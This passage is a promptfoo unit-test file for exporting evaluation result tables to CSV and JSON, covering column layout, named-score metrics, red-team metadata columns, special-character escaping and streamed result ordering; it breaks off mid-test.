Files
promptfoo--promptfoo/test/util/eval/evalTableUtils.test.ts
T
wehub-resource-sync 0d3cb498a3
CI / Shell Format Check (push) Has been cancelled
CI / Check Ruby (3.4) (push) Has been cancelled
CI / CI Config (push) Has been cancelled
CI / Test on Node ${{ matrix.node }} and ${{ matrix.os }}${{ matrix.shard && format(' (shard {0}/3)', matrix.shard) || '' }} (push) Has been cancelled
CI / Build on Node ${{ matrix.node }} (push) Has been cancelled
CI / Style Check (push) Has been cancelled
CI / Generate Assets (push) Has been cancelled
CI / Check Python (3.14) (push) Has been cancelled
CI / Check Python (3.9) (push) Has been cancelled
CI / Build Docs (push) Has been cancelled
CI / Code Scan Action (push) Has been cancelled
CI / Site tests (push) Has been cancelled
CI / webui tests (push) Has been cancelled
CI / Run Integration Tests (push) Has been cancelled
CI / Run Smoke Tests (push) Has been cancelled
CI / Go Tests (push) Has been cancelled
CI / Share Test (push) Has been cancelled
CI / Redteam (Production API) (push) Has been cancelled
CI / Redteam (Staging API) (push) Has been cancelled
CI / GitHub Actions Lint (push) Has been cancelled
CI / Check Ruby (3.0) (push) Has been cancelled
release-please / release-please (push) Has been cancelled
release-please / build (push) Has been cancelled
release-please / publish-npm (push) Has been cancelled
release-please / publish-npm-backfill (push) Has been cancelled
release-please / docker (push) Has been cancelled
release-please / publish-code-scan-action (push) Has been cancelled
release-please / attest-code-scan-action (push) Has been cancelled
Deploy local.promptfoo.app / Deploy to Cloudflare Pages (push) Has been cancelled
Test and Publish Multi-arch Docker Image / test (push) Has been cancelled
Test and Publish Multi-arch Docker Image / build-docker-and-push-digests (map[digest-suffix:linux-amd64 platform:linux/amd64 runner:ubuntu-latest]) (push) Has been cancelled
Test and Publish Multi-arch Docker Image / build-docker-and-push-digests (map[digest-suffix:linux-arm64 platform:linux/arm64 runner:ubuntu-24.04-arm]) (push) Has been cancelled
Test and Publish Multi-arch Docker Image / merge-docker-digests (push) Has been cancelled
Test and Publish Multi-arch Docker Image / Attest Multi-arch Image (push) Has been cancelled
Validate Renovate Config / Validate Renovate Configuration (push) Has been cancelled
chore: import upstream snapshot with attribution
2026-07-13 13:24:08 +08:00

2024 lines
66 KiB
TypeScript

import { parse as parseCsv } from 'csv-parse/sync';
import { beforeEach, describe, expect, it, vi } from 'vitest';
import { ResultFailureReason } from '../../../src/types/index';
import {
escapeCsvFormula,
evalTableToCsv,
evalTableToJson,
generateEvalCsv,
getEvalTableOutputPromptLocationsBySize,
getEvalTablePromptStrippedPayload,
STRIPPED_TABLE_CELL_PROMPT,
streamEvalCsv,
} from '../../../src/util/eval/evalTableUtils';
import { createCompletedPrompt, createPromptMetrics } from '../../factories/eval';
import type Eval from '../../../src/models/eval';
import type {
CompletedPrompt,
EvaluateTableOutput,
EvaluateTableRow,
Prompt,
} from '../../../src/types/index';
type LegacyCompletedPrompt = Omit<CompletedPrompt, 'metrics'> & {
metrics: Omit<NonNullable<CompletedPrompt['metrics']>, 'namedScoresCount'>;
};
const parseCsvRow = (line: string): string[] => {
const [row = []] = parseCsv(line, { relax_quotes: true }) as string[][];
return row;
};
describe('evalTableUtils', () => {
let mockTable: {
head: { prompts: CompletedPrompt[]; vars: string[] };
body: EvaluateTableRow[];
};
beforeEach(() => {
mockTable = {
head: {
vars: ['var1', 'var2'],
prompts: [
createCompletedPrompt('Test prompt {{var1}}', {
provider: 'openai:gpt-4',
label: 'Prompt 1',
display: 'Test prompt',
}),
createCompletedPrompt('Another prompt {{var2}}', {
provider: 'anthropic:claude',
label: 'Prompt 2',
display: 'Another prompt',
}),
],
},
body: [
{
test: {
vars: { var1: 'value1', var2: 'value2' },
description: 'Test case 1',
},
testIdx: 0,
vars: ['value1', 'value2'],
outputs: [
{
pass: true,
text: 'Success output',
gradingResult: {
pass: true,
reason: 'Output meets criteria',
comment: 'Well formatted',
},
} as EvaluateTableOutput,
{
pass: false,
text: 'Failed output',
failureReason: ResultFailureReason.ASSERT,
gradingResult: {
pass: false,
reason: 'Missing required field',
comment: 'Needs improvement',
},
} as EvaluateTableOutput,
],
},
{
test: {
vars: { var1: 'value3', var2: 'value4' },
},
testIdx: 1,
vars: ['value3', 'value4'],
outputs: [
{
pass: false,
text: 'Error output',
failureReason: ResultFailureReason.ERROR,
error: 'Network timeout',
} as unknown as EvaluateTableOutput,
{
pass: true,
text: 'Another success',
} as EvaluateTableOutput,
],
},
],
};
});
describe('evalTableToCsv', () => {
describe('Basic CSV generation', () => {
it('should generate CSV with headers and data', () => {
const csv = evalTableToCsv(mockTable);
const lines = csv.split('\n');
expect(lines[0]).toContain('Description');
expect(lines[0]).toContain('var1');
expect(lines[0]).toContain('var2');
expect(lines[0]).toContain('[openai:gpt-4] Prompt 1');
expect(lines[0]).toContain('[anthropic:claude] Prompt 2');
expect(lines[0]).toContain('Status');
expect(lines[0]).toContain('Score');
expect(lines[0]).toContain('Named Scores');
expect(lines[0]).toContain('Grader Reason');
expect(lines[0]).toContain('Comment');
});
it('should include test descriptions when present', () => {
const csv = evalTableToCsv(mockTable);
const lines = csv.split('\n');
expect(lines[1]).toContain('Test case 1');
// Second row should not have a description (empty string)
const row2Parts = lines[2].split(',');
expect(row2Parts[0]).toBe(''); // Empty description for second test
});
it('should exclude Description column when no descriptions exist', () => {
const tableWithoutDescriptions = {
...mockTable,
body: mockTable.body.map((row) => ({
...row,
test: { ...row.test, description: undefined },
})),
};
const csv = evalTableToCsv(tableWithoutDescriptions);
const lines = csv.split('\n');
expect(lines[0]).not.toContain('Description');
expect(lines[0].startsWith('var1')).toBe(true);
});
it('should format output with separate status column', () => {
const csv = evalTableToCsv(mockTable);
const lines = csv.split('\n');
// Output text should be clean (no prefix)
expect(lines[1]).toContain('Success output');
expect(lines[1]).toContain('Failed output');
expect(lines[2]).toContain('Error output');
expect(lines[2]).toContain('Another success');
// Status should be in separate columns
expect(lines[1]).toContain('PASS');
expect(lines[1]).toContain('FAIL');
expect(lines[2]).toContain('ERROR');
});
it('should include grader reason and comments', () => {
const csv = evalTableToCsv(mockTable);
const lines = csv.split('\n');
expect(lines[1]).toContain('Output meets criteria');
expect(lines[1]).toContain('Well formatted');
expect(lines[1]).toContain('Missing required field');
expect(lines[1]).toContain('Needs improvement');
});
it('should include named scores as JSON', () => {
const tableWithNamedScores = {
...mockTable,
body: [
{
...mockTable.body[0],
outputs: [
{
pass: true,
text: 'Output with named scores',
score: 0.85,
namedScores: {
clarity: 0.9,
accuracy: 0.8,
relevance: 0.85,
},
} as unknown as EvaluateTableOutput,
],
},
],
};
const csv = evalTableToCsv(tableWithNamedScores);
const lines = csv.split('\n');
// Named scores should be JSON formatted
expect(lines[1]).toContain('clarity');
expect(lines[1]).toContain('accuracy');
expect(lines[1]).toContain('relevance');
expect(lines[1]).toContain('0.9');
expect(lines[1]).toContain('0.8');
expect(lines[1]).toContain('0.85');
});
it('should add dedicated metric columns for named scores', () => {
const tableWithNamedScores = {
...mockTable,
body: [
{
...mockTable.body[0],
outputs: [
{
pass: true,
text: 'First scored output',
score: 0.85,
namedScores: {
clarity: 0.9,
accuracy: 0.8,
},
} as unknown as EvaluateTableOutput,
],
},
{
...mockTable.body[1],
outputs: [
{
pass: true,
text: 'Second scored output',
score: 0.75,
namedScores: {
clarity: 0.7,
},
} as unknown as EvaluateTableOutput,
],
},
],
};
const csv = evalTableToCsv(tableWithNamedScores);
const lines = csv.split('\n');
expect(lines[0]).toContain('Metric: accuracy');
expect(lines[0]).toContain('Metric: clarity');
expect(lines[1]).toContain('0.80,0.90');
expect(lines[2]).toContain(',0.70');
});
it('should handle empty named scores', () => {
const tableWithEmptyNamedScores = {
...mockTable,
body: [
{
...mockTable.body[0],
outputs: [
{
pass: true,
text: 'Output without named scores',
score: 1.0,
namedScores: {},
} as unknown as EvaluateTableOutput,
],
},
],
};
const csv = evalTableToCsv(tableWithEmptyNamedScores);
const lines = csv.split('\n');
// Empty named scores should result in empty string, not '{}'
expect(lines[1]).toContain('Output without named scores');
expect(lines[1]).not.toContain('{}');
});
it('should leave dedicated metric cells empty for null outputs in a multi-prompt table', () => {
// When one output is null, the corresponding prompt block must still
// emit the right number of placeholder cells (label, status, score,
// namedScores, N metric columns, grader reason, comment). If the math
// is wrong, downstream columns (including the next prompt's label)
// shift and the CSV becomes unparseable.
const tableWithMixedOutputs = {
...mockTable,
body: [
{
...mockTable.body[0],
outputs: [
null,
{
pass: true,
text: 'Second output',
score: 0.9,
namedScores: { clarity: 0.9, accuracy: 0.8 },
} as unknown as EvaluateTableOutput,
] as EvaluateTableOutput[],
},
],
};
const [headerCols, rowCols] = parseCsv(evalTableToCsv(tableWithMixedOutputs)) as string[][];
expect(rowCols).toHaveLength(headerCols.length);
// The null prompt block has no metric columns (its row contributes no
// named scores). The populated prompt block has both metrics.
expect(headerCols).toContain('Metric: clarity');
expect(headerCols).toContain('Metric: accuracy');
const clarityIdx = headerCols.indexOf('Metric: clarity');
const accuracyIdx = headerCols.indexOf('Metric: accuracy');
expect(rowCols[clarityIdx]).toBe('0.90');
expect(rowCols[accuracyIdx]).toBe('0.80');
});
it('should handle null and undefined outputs', () => {
const tableWithNullOutputs = {
...mockTable,
body: [
{
...mockTable.body[0],
outputs: [
null,
undefined,
{ pass: true, text: 'Valid output' } as EvaluateTableOutput,
] as EvaluateTableOutput[],
},
],
};
const csv = evalTableToCsv(tableWithNullOutputs);
const lines = csv.split('\n');
// Should have empty values for null/undefined outputs (6 empty columns per null output)
expect(lines[1]).toContain(',,,,,,'); // Empty values for null output
expect(lines[1]).toContain('Valid output');
expect(lines[1]).toContain('PASS');
});
it('should handle outputs without gradingResult', () => {
const tableWithoutGrading = {
...mockTable,
body: [
{
...mockTable.body[0],
outputs: [
{
pass: true,
text: 'Output without grading',
} as unknown as EvaluateTableOutput,
],
},
],
};
const csv = evalTableToCsv(tableWithoutGrading);
const lines = csv.split('\n');
// Should have output, status, score (empty), and empty grader columns
expect(lines[1]).toContain('Output without grading');
expect(lines[1]).toContain('PASS');
// Empty score and grader columns at the end
expect(lines[1]).toMatch(/PASS,.*,,$/);
});
});
describe('Red team CSV generation', () => {
it('should add Messages column for message-based providers', () => {
const tableWithMessages = {
...mockTable,
body: [
{
...mockTable.body[0],
outputs: [
{
pass: true,
text: 'Output',
metadata: {
messages: [
{ role: 'user', content: 'Hello' },
{ role: 'assistant', content: 'Hi there!' },
],
},
} as unknown as EvaluateTableOutput,
],
},
],
};
const csv = evalTableToCsv(tableWithMessages, { isRedteam: true });
const lines = csv.split('\n');
expect(lines[0]).toContain('Messages');
// CSV escapes quotes in JSON strings
expect(lines[1]).toMatch(
/\[.*role.*user.*content.*Hello.*\}.*\{.*role.*assistant.*content.*Hi there.*\]/,
);
});
it('should add RedteamHistory column for iterative providers', () => {
const tableWithHistory = {
...mockTable,
body: [
{
...mockTable.body[0],
outputs: [
{
pass: false,
text: 'Output',
metadata: {
redteamHistory: [
'Initial attempt',
'Second attempt with modification',
'Final successful attempt',
],
},
} as unknown as EvaluateTableOutput,
],
},
],
};
const csv = evalTableToCsv(tableWithHistory, { isRedteam: true });
const lines = csv.split('\n');
expect(lines[0]).toContain('RedteamHistory');
// CSV escapes quotes in JSON strings
expect(lines[1]).toMatch(
/Initial attempt.*Second attempt with modification.*Final successful attempt/,
);
});
it('should add RedteamTreeHistory column for tree-based providers', () => {
const tableWithTreeHistory = {
...mockTable,
body: [
{
...mockTable.body[0],
outputs: [
{
pass: false,
text: 'Output',
metadata: {
redteamTreeHistory: 'Root -> Branch1 -> Leaf1\nRoot -> Branch2 -> Leaf2',
},
} as unknown as EvaluateTableOutput,
],
},
],
};
const csv = evalTableToCsv(tableWithTreeHistory, { isRedteam: true });
const lines = csv.split('\n');
expect(lines[0]).toContain('RedteamTreeHistory');
// Tree history is a string primitive, so it's added directly (not JSON.stringify'd)
expect(lines[1]).toMatch(/Root -> Branch1 -> Leaf1/);
expect(csv).toMatch(/Root -> Branch2 -> Leaf2/);
});
it('should add pluginId, strategyId, sessionId, and sessionIds columns', () => {
const tableWithIds = {
...mockTable,
body: [
{
...mockTable.body[0],
outputs: [
{
pass: false,
text: 'Output',
metadata: {
pluginId: 'harmful:violent-crime',
strategyId: 'jailbreak',
sessionId: 'session-abc-123',
sessionIds: ['session-abc-123', 'session-def-456'],
},
} as unknown as EvaluateTableOutput,
],
},
],
};
const csv = evalTableToCsv(tableWithIds, { isRedteam: true });
const lines = csv.split('\n');
expect(lines[0]).toContain('pluginId');
expect(lines[0]).toContain('strategyId');
expect(lines[0]).toContain('sessionId');
expect(lines[0]).toContain('sessionIds');
// String primitives are added directly (not JSON.stringify'd)
expect(lines[1]).toContain('harmful:violent-crime');
expect(lines[1]).toContain('jailbreak');
expect(lines[1]).toContain('session-abc-123');
// sessionIds is an array, should be JSON stringified (CSV escapes quotes as double quotes)
expect(lines[1]).toMatch(/session-abc-123.*session-def-456/);
});
it('should include all red team columns when multiple metadata types exist', () => {
const tableWithAllMetadata = {
...mockTable,
body: [
{
...mockTable.body[0],
outputs: [
{
pass: true,
text: 'Output 1',
metadata: {
messages: [{ role: 'user', content: 'Test' }],
redteamHistory: ['Attempt 1'],
redteamTreeHistory: 'Tree structure',
pluginId: 'test-plugin',
strategyId: 'test-strategy',
sessionId: 'session-123',
sessionIds: ['session-123', 'session-456'],
},
} as unknown as EvaluateTableOutput,
{
pass: false,
text: 'Output 2',
metadata: {
messages: [{ role: 'assistant', content: 'Response' }],
},
} as unknown as EvaluateTableOutput,
],
},
],
};
const csv = evalTableToCsv(tableWithAllMetadata, { isRedteam: true });
const lines = csv.split('\n');
expect(lines[0]).toContain('Messages');
expect(lines[0]).toContain('RedteamHistory');
expect(lines[0]).toContain('RedteamTreeHistory');
expect(lines[0]).toContain('pluginId');
expect(lines[0]).toContain('strategyId');
expect(lines[0]).toContain('sessionId');
expect(lines[0]).toContain('sessionIds');
});
it('should handle multiple outputs without redteam metadata', () => {
const tableWithMultipleOutputs = {
head: {
vars: ['var1'],
prompts: [
createCompletedPrompt('Test prompt 1', {
provider: 'openai:gpt-4',
label: 'Prompt 1',
display: 'Test prompt 1',
}),
createCompletedPrompt('Test prompt 2', {
provider: 'anthropic:claude',
label: 'Prompt 2',
display: 'Test prompt 2',
}),
],
},
body: [
{
test: {
vars: { var1: 'value1' },
},
testIdx: 0,
vars: ['value1'],
outputs: [
{
pass: true,
text: 'First output',
gradingResult: {
pass: true,
reason: 'Good response',
comment: 'Well formatted',
},
} as unknown as EvaluateTableOutput,
{
pass: false,
text: 'Second output',
failureReason: ResultFailureReason.ASSERT,
gradingResult: {
pass: false,
reason: 'Bad response',
comment: 'Needs work',
},
} as unknown as EvaluateTableOutput,
],
},
],
};
const csv = evalTableToCsv(tableWithMultipleOutputs); // No isRedteam flag
const lines = csv.split('\n').filter((line: string) => line.trim());
const headerCols = parseCsvRow(lines[0]);
const dataCols = parseCsvRow(lines[1]);
// Header and data row should have the same number of columns
expect(headerCols.length).toBe(dataCols.length);
// Verify no redteam columns are present
expect(lines[0]).not.toContain('Messages');
expect(lines[0]).not.toContain('pluginId');
expect(lines[0]).not.toContain('strategyId');
// Both outputs should be present
expect(lines[1]).toContain('First output');
expect(lines[1]).toContain('Second output');
expect(lines[1]).toContain('Good response');
expect(lines[1]).toContain('Bad response');
});
it('should add redteam metadata columns once per row with multiple outputs', () => {
const tableWithMultipleOutputs = {
head: {
vars: ['var1'],
prompts: [
createCompletedPrompt('Test prompt 1', {
provider: 'openai:gpt-4',
label: 'Prompt 1',
display: 'Test prompt 1',
}),
createCompletedPrompt('Test prompt 2', {
provider: 'anthropic:claude',
label: 'Prompt 2',
display: 'Test prompt 2',
}),
],
},
body: [
{
test: {
vars: { var1: 'value1' },
},
testIdx: 0,
vars: ['value1'],
outputs: [
{
pass: true,
text: 'First output',
metadata: {
messages: [{ role: 'user', content: 'First message' }],
pluginId: 'plugin-1',
strategyId: 'strategy-1',
sessionId: 'session-1',
},
} as unknown as EvaluateTableOutput,
{
pass: false,
text: 'Second output',
metadata: {
messages: [{ role: 'assistant', content: 'Second message' }],
pluginId: 'plugin-2',
strategyId: 'strategy-2',
sessionId: 'session-2',
},
} as unknown as EvaluateTableOutput,
],
},
],
};
const csv = evalTableToCsv(tableWithMultipleOutputs, { isRedteam: true });
const lines = csv.split('\n').filter((line: string) => line.trim());
const headerCols = parseCsvRow(lines[0]);
const dataCols = parseCsvRow(lines[1]);
// Header and data row should have the same number of columns
expect(headerCols.length).toBe(dataCols.length);
// Verify redteam columns are present in header (added once, not per output)
expect(lines[0]).toContain('Messages');
expect(lines[0]).toContain('pluginId');
expect(lines[0]).toContain('strategyId');
expect(lines[0]).toContain('sessionId');
// Should use first output's metadata
expect(lines[1]).toContain('First output');
expect(lines[1]).toContain('Second output');
expect(lines[1]).toContain('plugin-1'); // From first output
expect(lines[1]).not.toContain('plugin-2'); // Second output's metadata should not be included
});
it('should not add red team columns when config.redteam is not present', () => {
const tableWithMetadata = {
...mockTable,
body: [
{
...mockTable.body[0],
outputs: [
{
pass: true,
text: 'Output',
metadata: {
messages: [{ role: 'user', content: 'Test' }],
},
} as unknown as EvaluateTableOutput,
],
},
],
};
const csv = evalTableToCsv(tableWithMetadata); // No config
const lines = csv.split('\n');
expect(lines[0]).not.toContain('Messages');
expect(lines[0]).not.toContain('RedteamHistory');
expect(lines[0]).not.toContain('RedteamTreeHistory');
});
it('should handle empty metadata arrays gracefully', () => {
const tableWithEmptyMetadata = {
...mockTable,
body: [
{
...mockTable.body[0],
outputs: [
{
pass: true,
text: 'Output',
metadata: {
messages: [],
redteamHistory: [],
},
} as unknown as EvaluateTableOutput,
],
},
],
};
const csv = evalTableToCsv(tableWithEmptyMetadata, { isRedteam: true });
const lines = csv.split('\n');
// Empty arrays are still JSON.stringify'd (they're objects, not primitives)
expect(lines[1]).toContain('[]');
});
it('should handle null/undefined metadata fields', () => {
const tableWithNullMetadata = {
...mockTable,
body: [
{
...mockTable.body[0],
outputs: [
{
pass: true,
text: 'Output',
metadata: {
messages: null,
redteamHistory: undefined,
},
} as unknown as EvaluateTableOutput,
],
},
],
};
const csv = evalTableToCsv(tableWithNullMetadata, { isRedteam: true });
const lines = csv.split('\n');
// When metadata fields are null/undefined, they should be empty strings in CSV
if (lines[0].includes('Messages') || lines[0].includes('RedteamHistory')) {
// The data row should have empty values for the redteam columns (trailing commas)
expect(lines[1]).toMatch(/,,$/);
} else {
// If no redteam columns were added, check that the line ends appropriately
expect(lines[1]).toBeDefined();
}
});
it('should include pluginId and strategyId from metadata in CSV output', () => {
// This test validates that pluginId and strategyId are read from metadata
// for CSV export, consistent with the promptfoo-cloud approach
const outputWithMetadataIds: EvaluateTableOutput = {
id: 'test-id',
pass: true,
text: 'Test output',
prompt: 'Test prompt',
score: 1,
cost: 0,
latencyMs: 100,
namedScores: {},
failureReason: ResultFailureReason.NONE,
testCase: { vars: {} },
metadata: {
pluginId: 'harmful:violent-crime',
strategyId: 'jailbreak',
},
};
// Verify the fields are accessible via metadata
expect(outputWithMetadataIds.metadata?.pluginId).toBe('harmful:violent-crime');
expect(outputWithMetadataIds.metadata?.strategyId).toBe('jailbreak');
// Verify the output can be used in a table
const tableWithMetadataIds = {
...mockTable,
body: [
{
...mockTable.body[0],
outputs: [outputWithMetadataIds],
},
],
};
// Should not throw when generating CSV
const csv = evalTableToCsv(tableWithMetadataIds, { isRedteam: true });
expect(csv).toBeDefined();
expect(csv.length).toBeGreaterThan(0);
// Verify metadata fields appear in CSV output
const lines = csv.split('\n');
expect(lines[0]).toContain('pluginId');
expect(lines[0]).toContain('strategyId');
expect(lines[1]).toContain('harmful:violent-crime');
expect(lines[1]).toContain('jailbreak');
});
it('should default strategyId to "basic" for strategy-less tests', () => {
// This test validates that when strategyId is missing from metadata,
// the CSV export defaults to 'basic'
const outputWithoutStrategy: EvaluateTableOutput = {
id: 'test-id',
pass: true,
text: 'Test output',
prompt: 'Test prompt',
score: 1,
cost: 0,
latencyMs: 100,
namedScores: {},
failureReason: ResultFailureReason.NONE,
testCase: { vars: {} },
metadata: {
pluginId: 'harmful:violent-crime',
// strategyId intentionally omitted
},
};
const tableWithoutStrategy = {
...mockTable,
body: [
{
...mockTable.body[0],
outputs: [outputWithoutStrategy],
},
],
};
const csv = evalTableToCsv(tableWithoutStrategy, { isRedteam: true });
const lines = csv.split('\n');
// Verify strategyId defaults to 'basic'
expect(lines[1]).toContain('basic');
});
});
describe('Edge cases and special characters', () => {
it('should handle special characters in text fields', () => {
const tableWithSpecialChars = {
...mockTable,
body: [
{
...mockTable.body[0],
test: {
vars: {},
description: 'Description with "quotes", commas, and\nnewlines',
},
vars: ['Value with, comma', 'Value with "quotes"'],
outputs: [
{
pass: true,
text: 'Output with\nnewline and "quotes"',
} as unknown as EvaluateTableOutput,
],
},
],
};
const csv = evalTableToCsv(tableWithSpecialChars);
// CSV should properly escape special characters
expect(csv).toContain('"Description with ""quotes"", commas, and\nnewlines"');
expect(csv).toContain('"Value with, comma"');
expect(csv).toContain('"Value with ""quotes"""');
});
it('should handle Unicode characters', () => {
const tableWithUnicode = {
...mockTable,
body: [
{
...mockTable.body[0],
test: {
vars: {},
description: 'Test with émojis 🎉 and Unicode: 你好世界',
},
vars: ['日本語', '한국어'],
outputs: [
{
pass: true,
text: 'Output with symbols: ™️ © ® ≠ ∞',
} as unknown as EvaluateTableOutput,
],
},
],
};
const csv = evalTableToCsv(tableWithUnicode);
expect(csv).toContain('Test with émojis 🎉 and Unicode: 你好世界');
expect(csv).toContain('日本語');
expect(csv).toContain('한국어');
expect(csv).toContain('Output with symbols: ™️ © ® ≠ ∞');
});
it('should handle very long text fields', () => {
const longText = 'a'.repeat(10000);
const tableWithLongText = {
...mockTable,
body: [
{
...mockTable.body[0],
test: {
vars: {},
description: longText,
},
outputs: [
{
pass: true,
text: longText,
gradingResult: {
pass: true,
reason: longText,
comment: longText,
},
} as unknown as EvaluateTableOutput,
],
},
],
};
const csv = evalTableToCsv(tableWithLongText);
// Should contain the long text (CSV format handles it)
expect(csv).toContain(longText);
});
it('should handle empty table body', () => {
const emptyTable = {
...mockTable,
body: [],
};
const csv = evalTableToCsv(emptyTable);
const lines = csv.split('\n').filter((line: string) => line.trim());
// Should only have header row
expect(lines).toHaveLength(1);
expect(lines[0]).toContain('var1');
});
it('should handle table with no prompts', () => {
const tableWithNoPrompts = {
head: {
vars: ['var1', 'var2'],
prompts: [],
},
body: [
{
test: { vars: {} },
testIdx: 0,
vars: ['value1', 'value2'],
outputs: [],
},
],
};
const csv = evalTableToCsv(tableWithNoPrompts);
const lines = csv.split('\n');
// Should only have variable columns
expect(lines[0]).toBe('var1,var2');
expect(lines[1]).toBe('value1,value2');
});
it('should handle complex nested JSON in metadata', () => {
const complexMetadata = {
messages: [
{
role: 'user',
content: 'Complex message',
metadata: {
timestamp: '2024-01-01T00:00:00Z',
tags: ['tag1', 'tag2'],
nested: {
deep: {
value: 'nested value',
},
},
},
},
],
redteamHistory: [
{
attempt: 1,
success: false,
details: {
strategy: 'jailbreak',
prompt: 'Test prompt',
},
},
],
};
const tableWithComplexMetadata = {
...mockTable,
body: [
{
...mockTable.body[0],
outputs: [
{
pass: true,
text: 'Output',
metadata: complexMetadata,
} as unknown as EvaluateTableOutput,
],
},
],
};
const csv = evalTableToCsv(tableWithComplexMetadata, {
isRedteam: true,
});
// Should serialize complex objects as JSON strings (with CSV escaping)
expect(csv).toMatch(/Complex message/);
expect(csv).toMatch(/timestamp.*2024-01-01T00:00:00Z/);
expect(csv).toMatch(/tags.*tag1.*tag2/);
// Note: When messages are present, redteamHistory is not included in its own column
// The redteamHistory data would be empty since messages take precedence
});
});
});
describe('table prompt stripping helpers', () => {
it('should strip prompts from largest to smallest by requested count', () => {
const payload = {
table: {
...mockTable,
body: [
{
...mockTable.body[0],
outputs: [
{ ...mockTable.body[0].outputs[0], prompt: 'short prompt' },
{ ...mockTable.body[0].outputs[1], prompt: 'very long prompt' },
],
},
],
},
totalCount: 1,
filteredCount: 1,
filteredMetrics: null,
config: {},
author: null,
version: 4,
id: 'eval-id',
};
const promptLocations = getEvalTableOutputPromptLocationsBySize(payload);
expect(promptLocations).toHaveLength(2);
const firstFallback = getEvalTablePromptStrippedPayload(payload, promptLocations, 1);
const secondFallback = getEvalTablePromptStrippedPayload(payload, promptLocations, 2);
expect(firstFallback.table.body[0].outputs[0].prompt).toBe('short prompt');
expect(firstFallback.table.body[0].outputs[1].prompt).toBe(STRIPPED_TABLE_CELL_PROMPT);
expect(secondFallback.table.body[0].outputs[0].prompt).toBe(STRIPPED_TABLE_CELL_PROMPT);
expect(secondFallback.table.body[0].outputs[1].prompt).toBe(STRIPPED_TABLE_CELL_PROMPT);
expect(JSON.stringify(firstFallback).length).toBeLessThan(JSON.stringify(payload).length);
expect(JSON.stringify(secondFallback).length).toBeLessThan(
JSON.stringify(firstFallback).length,
);
});
});
describe('evalTableToJson', () => {
it('should return the table as-is', () => {
const result = evalTableToJson(mockTable);
expect(result).toBe(mockTable);
});
it('should handle empty table', () => {
const emptyTable = {
head: { vars: [], prompts: [] },
body: [],
};
const result = evalTableToJson(emptyTable);
expect(result).toBe(emptyTable);
});
it('should preserve all data including metadata', () => {
const tableWithMetadata = {
...mockTable,
body: [
{
...mockTable.body[0],
outputs: [
{
pass: true,
text: 'Output',
metadata: {
custom: 'data',
nested: { value: 123 },
},
} as unknown as EvaluateTableOutput,
],
},
],
};
const result = evalTableToJson(tableWithMetadata);
expect(result).toBe(tableWithMetadata);
expect(
(result as { body: Array<{ outputs: Array<{ metadata: unknown }> }> }).body[0].outputs[0]
.metadata,
).toEqual({
custom: 'data',
nested: { value: 123 },
});
});
});
/**
* Creates a prompt that mimics legacy/imported persistence without
* `metrics.namedScoresCount`, forcing the streaming CSV path to fall back to
* a row-scan discovery pass.
*
* `overrides.namedScores` contains aggregate prompt metrics; per-row scores
* remain on the individual results.
*
* @param raw - Raw prompt text.
* @param overrides - Prompt overrides and aggregate named scores.
* @returns A completed prompt in the legacy persisted shape.
*/
function createLegacyCompletedPrompt(
raw: string,
overrides: { namedScores: Record<string, number> } & Partial<Omit<CompletedPrompt, 'metrics'>>,
): LegacyCompletedPrompt {
const { namedScores, ...rest } = overrides;
const prompt = createCompletedPrompt(raw, rest);
const { namedScoresCount: _namedScoresCount, ...legacyMetrics } = createPromptMetrics({
namedScores,
});
return {
...prompt,
metrics: legacyMetrics,
};
}
describe('streamEvalCsv', () => {
it('should order outputs by promptIdx regardless of database return order', async () => {
// Simulate results coming back in non-sequential order (prompt 2, then 0, then 1)
const mockResults = [
{
testIdx: 0,
promptIdx: 2, // Third prompt, but returned first
testCase: { vars: { name: 'Alice' }, description: 'Test 1' },
response: { output: 'Third output' },
success: true,
score: 1,
namedScores: {},
failureReason: ResultFailureReason.NONE,
gradingResult: null,
metadata: {},
},
{
testIdx: 0,
promptIdx: 0, // First prompt, returned second
testCase: { vars: { name: 'Alice' }, description: 'Test 1' },
response: { output: 'First output' },
success: true,
score: 1,
namedScores: {},
failureReason: ResultFailureReason.NONE,
gradingResult: null,
metadata: {},
},
{
testIdx: 0,
promptIdx: 1, // Second prompt, returned third
testCase: { vars: { name: 'Alice' }, description: 'Test 1' },
response: { output: 'Second output' },
success: true,
score: 1,
namedScores: {},
failureReason: ResultFailureReason.NONE,
gradingResult: null,
metadata: {},
},
];
const mockEval = {
vars: ['name'],
prompts: [
{ label: 'Prompt 1' } as Prompt,
{ label: 'Prompt 2' } as Prompt,
{ label: 'Prompt 3' } as Prompt,
],
fetchResultsBatched: async function* () {
yield mockResults;
},
} as unknown as Eval;
const chunks: string[] = [];
await streamEvalCsv(mockEval, {
isRedteam: false,
write: (data: string) => {
chunks.push(data);
},
});
const csv = chunks.join('');
const lines = csv.split('\n').filter((line) => line.trim());
// Header should have prompts in order
expect(lines[0]).toContain('Prompt 1');
expect(lines[0]).toContain('Prompt 2');
expect(lines[0]).toContain('Prompt 3');
// Data row should have outputs in correct column order
// (First output under Prompt 1, Second under Prompt 2, Third under Prompt 3)
expect(lines[1]).toContain('First output');
expect(lines[1]).toContain('Second output');
expect(lines[1]).toContain('Third output');
// Verify order: First should come before Second, Second before Third
const firstIdx = lines[1].indexOf('First output');
const secondIdx = lines[1].indexOf('Second output');
const thirdIdx = lines[1].indexOf('Third output');
expect(firstIdx).toBeLessThan(secondIdx);
expect(secondIdx).toBeLessThan(thirdIdx);
});
/**
* Streams fixture results through `streamEvalCsv` and returns the complete CSV output.
*
* @param params - Fixture data used to construct the mocked eval.
* @param params.vars - Variable names included in the CSV.
* @param params.prompts - Prompt definitions used by the eval.
* @param params.results - Result fixtures yielded by `fetchResultsBatched`.
* @param params.isRedteam - Whether to use redteam CSV formatting.
* @returns The concatenated CSV chunks emitted by `streamEvalCsv`.
*/
async function runStreamEvalCsv({
vars,
prompts,
results,
isRedteam = false,
}: {
vars: string[];
prompts: Array<CompletedPrompt | LegacyCompletedPrompt>;
results: unknown[];
isRedteam?: boolean;
}): Promise<string> {
const chunks: string[] = [];
await streamEvalCsv(
{
vars,
prompts,
fetchResultsBatched: async function* () {
yield results;
},
} as unknown as Eval,
{
isRedteam,
write: (data: string) => {
chunks.push(data);
},
},
);
return chunks.join('');
}
it('should include dedicated metric columns when streaming CSV', async () => {
const csv = await runStreamEvalCsv({
vars: ['name'],
prompts: [
createCompletedPrompt('Prompt 1', {
metrics: createPromptMetrics({
namedScores: { accuracy: 0.7, relevance: 1.4 },
namedScoresCount: { accuracy: 1, relevance: 2 },
}),
}),
],
results: [
{
testIdx: 0,
promptIdx: 0,
testCase: { vars: { name: 'Alice' }, description: 'Test 1' },
response: { output: 'First output' },
success: true,
score: 0.8,
